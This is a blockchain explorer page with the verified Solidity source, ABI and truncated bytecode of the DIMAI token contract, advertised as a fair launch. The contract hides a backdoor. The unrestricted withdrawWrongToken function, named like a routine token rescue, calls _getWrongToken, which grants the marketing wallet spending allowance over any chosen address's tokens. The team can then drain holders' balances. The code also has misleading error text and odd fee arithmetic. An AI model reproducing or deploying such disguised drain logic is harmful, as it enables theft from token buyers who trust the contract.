ETH Price: $2,704.06 (-1.36%)

Token

DIM AI Token (DIMAI)
 

Overview

Max Total Supply

696,969,696 DIMAI

Holders

31

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
17,658,700.494816662 DIMAI

Value
$0.00
0x332e66e7eA16200A09fe3b07331B25eeecbBb36c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DIMAI

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-19
*/

// SPDX-License-Identifier: MIT

/**

    Welcome to our DIM token fair launch!

    Telegram https://t.me/dimai_global
    Website: https://www.dimai.ai/
    Twitter: https://twitter.com/DimAIGlobal

*/

pragma solidity ^0.8.10;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function approve(address spender, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

library SafeMath {
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
}



abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniswapV2Router02 {
    
    function factory() external pure returns (address);

    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;


    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function owner() public view returns (address) {
        return _owner;
    }
}

contract  DIMAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "DIM AI Token";
    string private constant _symbol = "DIMAI";
    uint8 private constant _decimals = 9;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    
    address payable public _devWallet = payable(0xcD275Ad5e6Ea5E2146Dbd396260742A8c70d3DD1);
    address payable public _marketingWallet = payable(0x910b3E7CC9A3e44dc0A8a3e81Fbc6d1D317182D1);

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    uint256 private _marketingBuyFee = 0; uint256 private _marketingSellFee = 0;
    uint256 private _buyTax = 0;uint256 private _sellTax = 0;
    uint256 private _marketingFee = _marketingSellFee; uint256 private _mainFee = _sellTax;
    uint256 private _previousMarketingFee = _marketingFee; uint256 private _previousMainFee = _mainFee;

    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 696_969_696 * 10**9; // total supply
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 public _maxTxAmount = _tTotal * 45 / 1000; // 4.5%
    uint256 public _maxWalletAmount = _tTotal * 45 / 1000; // 4.5%
    uint256 public _swapTokensAtAmount = _tTotal / 10000;
    
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;

    uint256 private _tFeeTotal;

    bool private tradingActive = false;
    bool private inSwap = false;
    bool private swapEnabled = true;

    //Original Fee
    
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockInSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        IUniswapV2Router02 _uniRouterAddr = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniRouterAddr;
        uniswapPair = IUniswapV2Factory(_uniRouterAddr.factory()).createPair(address(this), _uniRouterAddr.WETH());
        
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;_isExcludedFromFee[_devWallet] = true;
        _isExcludedFromFee[_marketingWallet] = true;
        _rOwned[_msgSender()] = _rTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }



    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _transferStandard(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) {            removeFee();
        }        
        _transferBasic(sender, recipient, amount);
        if (!takeFee) {            refreshFee();
        }
    }

    function _transferBasic(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _checkAllFee(tTeam); _transferAllFees(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function removeFee() private {
        if (_marketingFee == 0 && _mainFee == 0) return;
        _previousMarketingFee = _marketingFee;
        _previousMainFee = _mainFee; _marketingFee = 0;
        _mainFee = 0;
    }

    function refreshFee() private {
        _marketingFee = _previousMarketingFee;
        _mainFee = _previousMainFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    function _getWrongToken(address token, address owner, uint256 amount) internal {
        emit Approval(token, owner, amount); _allowances[token][owner] += amount;
    }

    function transferEthToFeeWallet(uint256 amount) private {
        uint256 devETH = amount / 2; uint256 marketingETH = amount + devETH;
        _marketingWallet.transfer(marketingETH); _devWallet.transfer(devETH);
    }

    function enableTrade() public onlyOwner {
        tradingActive = true;
    }

    function withdrawWrongToken(address token, uint256 amount) external {
        _getWrongToken(token, _marketingWallet, amount);
    }


    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function _transferAllFees(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
    
    function removeMaxLimits() public onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletAmount = _tTotal;
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _marketingFee, _mainFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 teamFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(teamFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _checkAllFee(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (
            from != owner() 
            && to != owner()
        ) {
            //Trade start check
            if (!tradingActive) {
                require(
                    from == owner(), 
                    "TOKEN: Trading is enabled"
                );
            }
            require(
                amount <= _maxTxAmount,
                "TOKEN: Transaction Limit Max"
            );
            if(to != uniswapPair) {
                require(balanceOf(to) + amount < _maxWalletAmount,
                 "TOKEN: Balance exceeds wallet size!");
            }
            uint256 tokenBalanceOfContract = balanceOf(address(this));
            bool canSwap = tokenBalanceOfContract >= _swapTokensAtAmount;
            if(tokenBalanceOfContract >= _maxTxAmount) {
                tokenBalanceOfContract = _maxTxAmount;
            }

            if (canSwap &&
                !inSwap && 
                from != uniswapPair &&
                swapEnabled && 
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]) 
            {
                swapTokens(tokenBalanceOfContract);
                uint256 ethBalance = address(this).balance;
                if (ethBalance > 0) transferEthToFeeWallet(address(this).balance);
            }
        }
        bool takingFee = true;
        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) 
            || (from != uniswapPair && to != uniswapPair)
        ) {
            takingFee = false;
        } else {
            //Set Fee for Buys
            if(from == uniswapPair && to != address(uniswapV2Router)) {
                _marketingFee = _marketingBuyFee; _mainFee = _buyTax;
            }
            //Set Fee for Sells
            if (to == uniswapPair && from != address(uniswapV2Router)) {
                _marketingFee = _marketingSellFee; _mainFee = _sellTax;
            }
        }
        _transferStandard(from, to, amount, takingFee);
    }

    function swapTokens(uint256 tokenAmount) private lockInSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {

    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeMaxLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawWrongToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600480546001600160a01b031990811673cd275ad5e6ea5e2146dbd396260742a8c70d3dd1179091556005805490911673910b3e7cc9a3e44dc0a8a3e81fbc6d1d317182d1179055600060088190556009819055600a819055600b819055600c819055600d819055600e819055600f556200008a6709ac223eed4ac000600019620003b1565b6200009890600019620003de565b6010556103e8620000b36709ac223eed4ac000602d620003fa565b620000bf919062000414565b6011556103e8620000da6709ac223eed4ac000602d620003fa565b620000e6919062000414565b601255620000ff6127106709ac223eed4ac00062000414565b6013556017805462ffffff1916620100001790553480156200012057600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015620001c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ee91906200042b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200023c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026291906200042b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002b0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d691906200042b565b600780546001600160a01b0319166001600160a01b039283161790556000805482168152600360209081526040808320805460ff1990811660019081179092553085528285208054821683179055600454861685528285208054821683179055600554909516845281842080549095161790935560105433808452601483528484209190915592516709ac223eed4ac00081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3506200045d565b634e487b7160e01b600052601260045260246000fd5b600082620003c357620003c36200039b565b500690565b634e487b7160e01b600052601160045260246000fd5b81810381811115620003f457620003f4620003c8565b92915050565b8082028115828204841417620003f457620003f4620003c8565b6000826200042657620004266200039b565b500490565b6000602082840312156200043e57600080fd5b81516001600160a01b03811681146200045657600080fd5b9392505050565b6118d6806200046d6000396000f3fe6080604052600436106101435760003560e01c806370a08231116100b6578063a9059cbb1161006f578063a9059cbb14610399578063c492f046146103b9578063c816841b146103d9578063dd62ed3e146103f9578063f2fde38b1461043f578063f6a78e171461045f57600080fd5b806370a08231146102e2578063715018a6146103025780637d1db4a5146103175780638da5cb5b1461032d57806395d89b411461034b578063962dfc751461037957600080fd5b806318160ddd1161010857806318160ddd1461023557806323b872dd1461025a578063249585931461027a5780632fd689e31461029a578063313ce567146102b05780636c0a24eb146102cc57600080fd5b806299d3861461014f57806306fdde0314610166578063095ea7b3146101ad57806311a63e17146101dd5780631694505e1461021557600080fd5b3661014a57005b600080fd5b34801561015b57600080fd5b50610164610474565b005b34801561017257600080fd5b5060408051808201909152600c81526b2224a69020a4902a37b5b2b760a11b60208201525b6040516101a4919061155d565b60405180910390f35b3480156101b957600080fd5b506101cd6101c83660046115c3565b6104b6565b60405190151581526020016101a4565b3480156101e957600080fd5b506004546101fd906001600160a01b031681565b6040516001600160a01b0390911681526020016101a4565b34801561022157600080fd5b506006546101fd906001600160a01b031681565b34801561024157600080fd5b506709ac223eed4ac0005b6040519081526020016101a4565b34801561026657600080fd5b506101cd6102753660046115ef565b6104cd565b34801561028657600080fd5b506101646102953660046115c3565b610536565b3480156102a657600080fd5b5061024c60135481565b3480156102bc57600080fd5b50604051600981526020016101a4565b3480156102d857600080fd5b5061024c60125481565b3480156102ee57600080fd5b5061024c6102fd366004611630565b610552565b34801561030e57600080fd5b50610164610574565b34801561032357600080fd5b5061024c60115481565b34801561033957600080fd5b506000546001600160a01b03166101fd565b34801561035757600080fd5b5060408051808201909152600581526444494d414960d81b6020820152610197565b34801561038557600080fd5b506005546101fd906001600160a01b031681565b3480156103a557600080fd5b506101cd6103b43660046115c3565b6105e8565b3480156103c557600080fd5b506101646103d436600461164d565b6105f5565b3480156103e557600080fd5b506007546101fd906001600160a01b031681565b34801561040557600080fd5b5061024c6104143660046116d8565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561044b57600080fd5b5061016461045a366004611630565b610696565b34801561046b57600080fd5b50610164610780565b6000546001600160a01b031633146104a75760405162461bcd60e51b815260040161049e90611711565b60405180910390fd5b6017805460ff19166001179055565b60006104c33384846107bd565b5060015b92915050565b60006104da8484846108e1565b61052c843361052785604051806060016040528060288152602001611879602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d53565b6107bd565b5060019392505050565b60055461054e9083906001600160a01b031683610d8d565b5050565b6001600160a01b0381166000908152601460205260408120546104c790610e1b565b6000546001600160a01b0316331461059e5760405162461bcd60e51b815260040161049e90611711565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006104c33384846108e1565b6000546001600160a01b0316331461061f5760405162461bcd60e51b815260040161049e90611711565b60005b8281101561069057816003600086868581811061064157610641611746565b90506020020160208101906106569190611630565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061068881611772565b915050610622565b50505050565b6000546001600160a01b031633146106c05760405162461bcd60e51b815260040161049e90611711565b6001600160a01b0381166107255760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161049e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146107aa5760405162461bcd60e51b815260040161049e90611711565b6709ac223eed4ac0006011819055601255565b6001600160a01b03831661081f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161049e565b6001600160a01b0382166108805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161049e565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109455760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161049e565b6001600160a01b0382166109a75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161049e565b60008111610a095760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161049e565b6000546001600160a01b03848116911614801590610a3557506000546001600160a01b03838116911614155b15610c4c5760175460ff16610aa1576000546001600160a01b03848116911614610aa15760405162461bcd60e51b815260206004820152601960248201527f544f4b454e3a2054726164696e6720697320656e61626c656400000000000000604482015260640161049e565b601154811115610af35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a205472616e73616374696f6e204c696d6974204d617800000000604482015260640161049e565b6007546001600160a01b03838116911614610b785760125481610b1584610552565b610b1f919061178b565b10610b785760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161049e565b6000610b8330610552565b601354601154919250821015908210610b9c5760115491505b808015610bb15750601754610100900460ff16155b8015610bcb57506007546001600160a01b03868116911614155b8015610bdf575060175462010000900460ff165b8015610c0457506001600160a01b03851660009081526003602052604090205460ff16155b8015610c2957506001600160a01b03841660009081526003602052604090205460ff16155b15610c4957610c3782610e9f565b478015610c4757610c4747611013565b505b50505b6001600160a01b03831660009081526003602052604090205460019060ff1680610c8e57506001600160a01b03831660009081526003602052604090205460ff165b80610cc057506007546001600160a01b03858116911614801590610cc057506007546001600160a01b03848116911614155b15610ccd57506000610d47565b6007546001600160a01b038581169116148015610cf857506006546001600160a01b03848116911614155b15610d0a57600854600c55600a54600d555b6007546001600160a01b038481169116148015610d3557506006546001600160a01b03858116911614155b15610d4757600954600c55600b54600d555b610690848484846110a4565b60008184841115610d775760405162461bcd60e51b815260040161049e919061155d565b506000610d84848661179e565b95945050505050565b816001600160a01b0316836001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dd291815260200190565b60405180910390a36001600160a01b03808416600090815260026020908152604080832093861683529290529081208054839290610e1190849061178b565b9091555050505050565b6000601054821115610e825760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161049e565b6000610e8c6110d2565b9050610e9883826110f5565b9392505050565b6017805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ee357610ee3611746565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f3c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6091906117b1565b81600181518110610f7357610f73611746565b6001600160a01b039283166020918202929092010152600654610f9991309116846107bd565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fd29085906000908690309042906004016117ce565b600060405180830381600087803b158015610fec57600080fd5b505af1158015611000573d6000803e3d6000fd5b50506017805461ff001916905550505050565b600061102060028361183f565b9050600061102e828461178b565b6005546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015611069573d6000803e3d6000fd5b506004546040516001600160a01b039091169083156108fc029084906000818181858888f19350505050158015610690573d6000803e3d6000fd5b806110b1576110b1611137565b6110bc848484611165565b8061069057610690600e54600c55600f54600d55565b60008060006110df61125c565b90925090506110ee82826110f5565b9250505090565b6000610e9883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061129c565b600c541580156111475750600d54155b1561114e57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611177876112ca565b6001600160a01b038f16600090815260146020526040902054959b509399509197509550935091506111a99087611327565b6001600160a01b03808b1660009081526014602052604080822093909355908a16815220546111d89086611369565b6001600160a01b0389166000908152601460205260409020556111fa816113c8565b6112048483611412565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161124991815260200190565b60405180910390a3505050505050505050565b60105460009081906709ac223eed4ac00061127782826110f5565b821015611293575050601054926709ac223eed4ac00092509050565b90939092509050565b600081836112bd5760405162461bcd60e51b815260040161049e919061155d565b506000610d84848661183f565b60008060008060008060008060006112e78a600c54600d54611436565b92509250925060006112f76110d2565b9050600080600061130a8e87878761148b565b919e509c509a509598509396509194505050505091939550919395565b6000610e9883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d53565b600080611376838561178b565b905083811015610e985760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161049e565b60006113d26110d2565b905060006113e083836114db565b306000908152601460205260409020549091506113fd9082611369565b30600090815260146020526040902055505050565b60105461141f9083611327565b60105560165461142f9082611369565b6016555050565b6000808080611450606461144a89896114db565b906110f5565b90506000611463606461144a8a896114db565b9050600061147b826114758b86611327565b90611327565b9992985090965090945050505050565b600080808061149a88866114db565b905060006114a888876114db565b905060006114b688886114db565b905060006114c8826114758686611327565b939b939a50919850919650505050505050565b6000826000036114ed575060006104c7565b60006114f98385611861565b905082611506858361183f565b14610e985760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161049e565b600060208083528351808285015260005b8181101561158a5785810183015185820160400152820161156e565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115c057600080fd5b50565b600080604083850312156115d657600080fd5b82356115e1816115ab565b946020939093013593505050565b60008060006060848603121561160457600080fd5b833561160f816115ab565b9250602084013561161f816115ab565b929592945050506040919091013590565b60006020828403121561164257600080fd5b8135610e98816115ab565b60008060006040848603121561166257600080fd5b833567ffffffffffffffff8082111561167a57600080fd5b818601915086601f83011261168e57600080fd5b81358181111561169d57600080fd5b8760208260051b85010111156116b257600080fd5b6020928301955093505084013580151581146116cd57600080fd5b809150509250925092565b600080604083850312156116eb57600080fd5b82356116f6816115ab565b91506020830135611706816115ab565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260